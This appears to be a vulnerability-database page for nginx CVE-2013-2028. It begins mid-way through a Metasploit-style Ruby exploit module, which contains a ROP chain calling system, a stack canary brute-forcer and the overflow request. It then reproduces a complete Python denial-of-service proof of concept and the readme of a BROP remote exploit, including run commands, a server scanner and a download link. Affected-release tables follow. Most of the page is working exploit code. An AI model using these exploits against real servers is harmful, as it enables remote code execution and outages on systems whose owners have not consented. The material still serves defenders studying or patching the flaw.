      0x5d5b14c4,        # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
      0x41414141,      # padding (ebp)
      0x08093c75,        # mov ebx, edi ; dec ecx ; ret
      0x08067330,        # pop eax # ret
      0xfffb0c80,        # offset
      0x08078a46,        # add eax, [ebx+0x5d5b14c4] # ret
      0x0804a3af,         # call eax # system
      target['Writable'] # ptr to .data where contents have been stored
    ]
    return chain.pack("V*")
  end

  def store(buf, address, value)
    rop = target['Rop']
    chain = rop['store']['chain']
    chain[rop['store']['address_offset']] = address
    chain[rop['store']['value_offset']] = value.unpack('V').first
    buf << chain.pack('V*')
  end

  def dereference_got

    unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
      fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")
    end

    buf = ""
    command = payload.encoded
    i = 0
    while i < command.length
      buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
      i = i + 4
    end

    buf << self.send(target[:dereference_got_callback])

    return buf
  end

  def exploit
    data = random_chunk_size(1024)

    if target['CanaryOffset'].nil?
      data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
    else

      if not datastore['CANARY'] == 0xffffffff
        print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])
        canary = datastore['CANARY']
      else
        print_status("#{peer} - Searching for stack canary")
        canary = find_canary

        if canary.nil? || canary == 0x00000000
          fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")
        else
          print_good("#{peer} - Canary found: 0x%08x\n" % canary)
        end
      end

      data <<  Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
      data <<  [canary].pack('V')
      data << Rex::Text.rand_text_hex(target['Offset'])

    end

    data << dereference_got

    begin
      send_request_fixed(data)
    rescue Errno::ECONNRESET => e
      # Ignore
    end
    handler
  end

  def find_canary
    # First byte of the canary is already known
    canary = "\x00"

    print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)

    # We are going to bruteforce the next 3 bytes one at a time
    3.times do |c|
      print_status("#{peer} - Bruteforcing byte #{c + 1}")

      0.upto(255) do |i|
        data =   random_chunk_size(1024)
        data <<  Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
        data <<  canary
        data << i.chr

        unless send_request_fixed(data).nil?
          print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)
          canary << i.chr
          break
        end
      end
    end

    if canary == "\x00"
      return nil
    else
      return canary.unpack('V').first
    end
  end
end
EDB-25499 dos linux python · 2 KB
Mert SARICA · 2013-05-17

Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC)

python exploit Source: Exploit-DB
# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Google Dork: CVE-2013-2028
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2028

import httplib
import time
import socket
import sys
import os

# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)

packet = 0

def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked

if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"

if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip]\n"
        print "Example: python nginx_dos.py 127.0.0.1\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
        
while packet <= 5:

    body = "Mert SARICA"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]

    try:
        con = httplib.HTTPConnection(host)
        url = "/mertsarica.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', "curl/7.30.0")
        con.putheader('Accept', "*/*")
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', "application/x-www-form-urlencoded")
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
        
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"

    packet = packet + 1
    
    con.close()

print "[+] Done!"
EDB-32277 remote linux_x86-64 text · 1 KB
sorbo · 2014-03-15

Nginx 1.4.0 (Generic Linux x64) - Remote Overflow

text exploit Source: Exploit-DB
nginx <= 1.4.0 exploit for CVE-2013-2028
by sorbo
Fri Jul 12 14:52:45 PDT 2013

./brop.rb 127.0.0.1

for remote hosts:
./frag.sh ip
./brop.rb ip

rm state.bin when changing host (or relaunching nginx with canaries)

scan.py will find servers, reading IPs from ips.txt



This is a generic exploit for 64-bit nginx which uses a new attack technique (BROP) that does not rely on a particular target binary.  It will work on any distro and even compiled from source installations.



Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32277.tgz

Metasploit modules

Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow
Source fetch failed: fetch_error — view the original via the link above.

OS impact

fedora Fedora Affected 1 release
VersionStatusFixed in
19 Affected
suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0
sid Fixed 0
forky Fixed 0
bullseye Fixed 0
bookworm Fixed 0

Application impact

VendorProductVersionsFixed
f5nginx{"startIncluding":"1.3.9","endIncluding":"1.4.0"}
nginx nginxnginx{"startIncluding":"1.3.9","endIncluding":"1.4.0"}

References

CWEs

CWE-787

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.